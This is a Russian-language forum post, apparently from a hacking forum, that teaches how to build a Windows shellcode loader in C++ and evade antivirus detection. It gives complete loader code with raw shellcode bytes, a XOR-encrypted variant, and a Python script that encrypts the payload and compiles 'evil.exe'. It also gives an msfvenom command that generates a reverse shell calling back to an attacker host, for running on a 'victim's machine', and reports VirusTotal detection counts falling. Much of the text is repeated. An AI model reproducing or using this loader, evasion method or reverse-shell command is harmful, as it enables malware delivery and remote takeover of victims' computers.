D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Начнем с простого C++ кода нашей вредоносной программы:
C++: Скопировать в буфер обмена
Итак, у нас есть только одна функция main(void):
и у нас есть sizeof(my_payload) размер полезной нагрузки.
Для простоты в качестве полезной нагрузки мы используем calc.exe. Не вдаваясь в подробности генерации полезной нагрузки, мы просто подставим готовую полезную нагрузку в наш код:
Код: Скопировать в буфер обмена
И основная логика нашей главной функции такова:
Давайте исследуем эту логику. Если вы хотите запустить нашу полезную нагрузку в памяти процесса, мы должны сделать несколько вещей. Мы должны создать новый буфер памяти, скопировать нашу полезную нагрузку в буфер и начать выполнение этого буфера.
Сначала мы выделяем новую область памяти в процессе и сохраняем ее адрес в переменной my_payload_mem:
и эта область памяти доступна для чтения и записи.
Затем мы копируем наш my_payload в my_payload_mem:
Затем мы устанавливаем наш буфер как исполняемый:
Хорошо, все хорошо, но почему я не делаю этого в 44 строке?
почему бы просто не выделить буфер, который можно читать, записывать и исполнять?
Причина довольно проста. Некоторые инструменты поиска и антивирусные программы могут обнаружить эту область памяти, потому что это совершенно неприемлемо, что процессу нужна память, которая одновременно доступна для чтения, записи и исполнения. Поэтому, чтобы обойти такое обнаружение, мы делаем два шага.
И если все идет хорошо, мы запускаем нашу полезную нагрузку как отдельный новый поток в процессе:
Давайте перейдем к компиляции нашей вредоносной программы:
and run (on Windows 10 x64):
Вот так, по сути, можно хранить полезную нагрузку в разделе .text без шифрования.
Давайте загрузим наш evil.exe в Virustotal:
Итак, 22 из 66 AV-движков определяют наш файл как вредоносный.
Давайте попробуем уменьшить количество AV-движков, которые обнаружат нашу вредоносную программу.
Для этого сначала мы должны зашифровать нашу полезную нагрузку. Почему мы хотим зашифровать нашу полезную нагрузку? Основная цель этого - скрыть полезную нагрузку от кого-то вроде AV-движка или реверс-инженера. Таким образом, обратный инженер не сможет легко определить вашу полезную нагрузку.
Цель шифрования - преобразовать данные, чтобы сохранить их в тайне от других. Для простоты в нашем случае мы используем XOR-шифрование.
Давайте рассмотрим, как использовать XOR для шифрования и расшифровки нашей полезной нагрузки.
Обновите наш простой код вредоносной программы:
Код: Скопировать в буфер обмена
Основное отличие от нашей первой простой реализации - мы добавляем функцию XOR decrypt и наш секретный ключ my_secret_key для расшифровки:
На самом деле это простая функция, это симметричное шифрование, мы можем использовать ее для шифрования и дешифрования с одним и тем же ключом.
И мы деэкспонируем нашу полезную нагрузку перед копированием в буфер:
И единственное, чего не хватает, это нашей полезной нагрузки:
который должен быть зашифрован с помощью XOR.
Для этого создайте простой скрипт python, который зашифрует полезную нагрузку, и замените его в нашем шаблоне C++:
Python: Скопировать в буфер обмена
Для простоты мы используем полезную нагрузку calc.bin:
но в реальном сценарии вы можете использовать что-то вроде:
Код: Скопировать в буфер обмена
run python script:
and run in victim’s machine (Windows 10 x64):
Virustotal:
Таким образом, мы сократили количество AV-систем, обнаруживающих наши вредоносные программы, с 22 до 18!
AV engines evasion for C++ simple malware
C++: Скопировать в буфер обмена
Код:
/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload calc.exe
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Итак, у нас есть только одна функция main(void):
и у нас есть sizeof(my_payload) размер полезной нагрузки.
Для простоты в качестве полезной нагрузки мы используем calc.exe. Не вдаваясь в подробности генерации полезной нагрузки, мы просто подставим готовую полезную нагрузку в наш код:
Код: Скопировать в буфер обмена
Код:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
И основная логика нашей главной функции такова:
Давайте исследуем эту логику. Если вы хотите запустить нашу полезную нагрузку в памяти процесса, мы должны сделать несколько вещей. Мы должны создать новый буфер памяти, скопировать нашу полезную нагрузку в буфер и начать выполнение этого буфера.
Сначала мы выделяем новую область памяти в процессе и сохраняем ее адрес в переменной my_payload_mem:
и эта область памяти доступна для чтения и записи.
Затем мы копируем наш my_payload в my_payload_mem:
Затем мы устанавливаем наш буфер как исполняемый:
Хорошо, все хорошо, но почему я не делаю этого в 44 строке?
почему бы просто не выделить буфер, который можно читать, записывать и исполнять?
Причина довольно проста. Некоторые инструменты поиска и антивирусные программы могут обнаружить эту область памяти, потому что это совершенно неприемлемо, что процессу нужна память, которая одновременно доступна для чтения, записи и исполнения. Поэтому, чтобы обойти такое обнаружение, мы делаем два шага.
И если все идет хорошо, мы запускаем нашу полезную нагрузку как отдельный новый поток в процессе:
Давайте перейдем к компиляции нашей вредоносной программы:
and run (on Windows 10 x64):
Вот так, по сути, можно хранить полезную нагрузку в разделе .text без шифрования.
Давайте загрузим наш evil.exe в Virustotal:
Итак, 22 из 66 AV-движков определяют наш файл как вредоносный.
Давайте попробуем уменьшить количество AV-движков, которые обнаружат нашу вредоносную программу.
Для этого сначала мы должны зашифровать нашу полезную нагрузку. Почему мы хотим зашифровать нашу полезную нагрузку? Основная цель этого - скрыть полезную нагрузку от кого-то вроде AV-движка или реверс-инженера. Таким образом, обратный инженер не сможет легко определить вашу полезную нагрузку.
Цель шифрования - преобразовать данные, чтобы сохранить их в тайне от других. Для простоты в нашем случае мы используем XOR-шифрование.
Давайте рассмотрим, как использовать XOR для шифрования и расшифровки нашей полезной нагрузки.
Обновите наш простой код вредоносной программы:
Код: Скопировать в буфер обмена
Код:
/*
cpp implementation malware example with calc.exe payload encrypted via XOR
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload calc.exe
unsigned char my_payload[] = {};
unsigned int my_payload_len = sizeof(my_payload);
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Decrypt (DeXOR) the payload
XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Основное отличие от нашей первой простой реализации - мы добавляем функцию XOR decrypt и наш секретный ключ my_secret_key для расшифровки:
На самом деле это простая функция, это симметричное шифрование, мы можем использовать ее для шифрования и дешифрования с одним и тем же ключом.
И мы деэкспонируем нашу полезную нагрузку перед копированием в буфер:
И единственное, чего не хватает, это нашей полезной нагрузки:
который должен быть зашифрован с помощью XOR.
Для этого создайте простой скрипт python, который зашифрует полезную нагрузку, и замените его в нашем шаблоне C++:
Python: Скопировать в буфер обмена
Код:
import sys
import os
import hashlib
import string
## XOR function to encrypt data
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ^ ord(current_key))
return output_str
## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key
## key for encrypt/decrypt
my_secret_key = "mysupersecretkey"
## payload calc.exe
plaintext = open("./calc.bin", "rb").read()
ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)
## open and replace our payload in C++ code
tmp = open("evil_xor.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char my_payload[] = { };', 'unsigned char my_payload[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()
## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp -o evil.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")
Для простоты мы используем полезную нагрузку calc.bin:
но в реальном сценарии вы можете использовать что-то вроде:
Код: Скопировать в буфер обмена
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f raw -o hack.bin
run python script:
and run in victim’s machine (Windows 10 x64):
Virustotal:
Таким образом, мы сократили количество AV-систем, обнаруживающих наши вредоносные программы, с 22 до 18!
AV engines evasion for C++ simple malware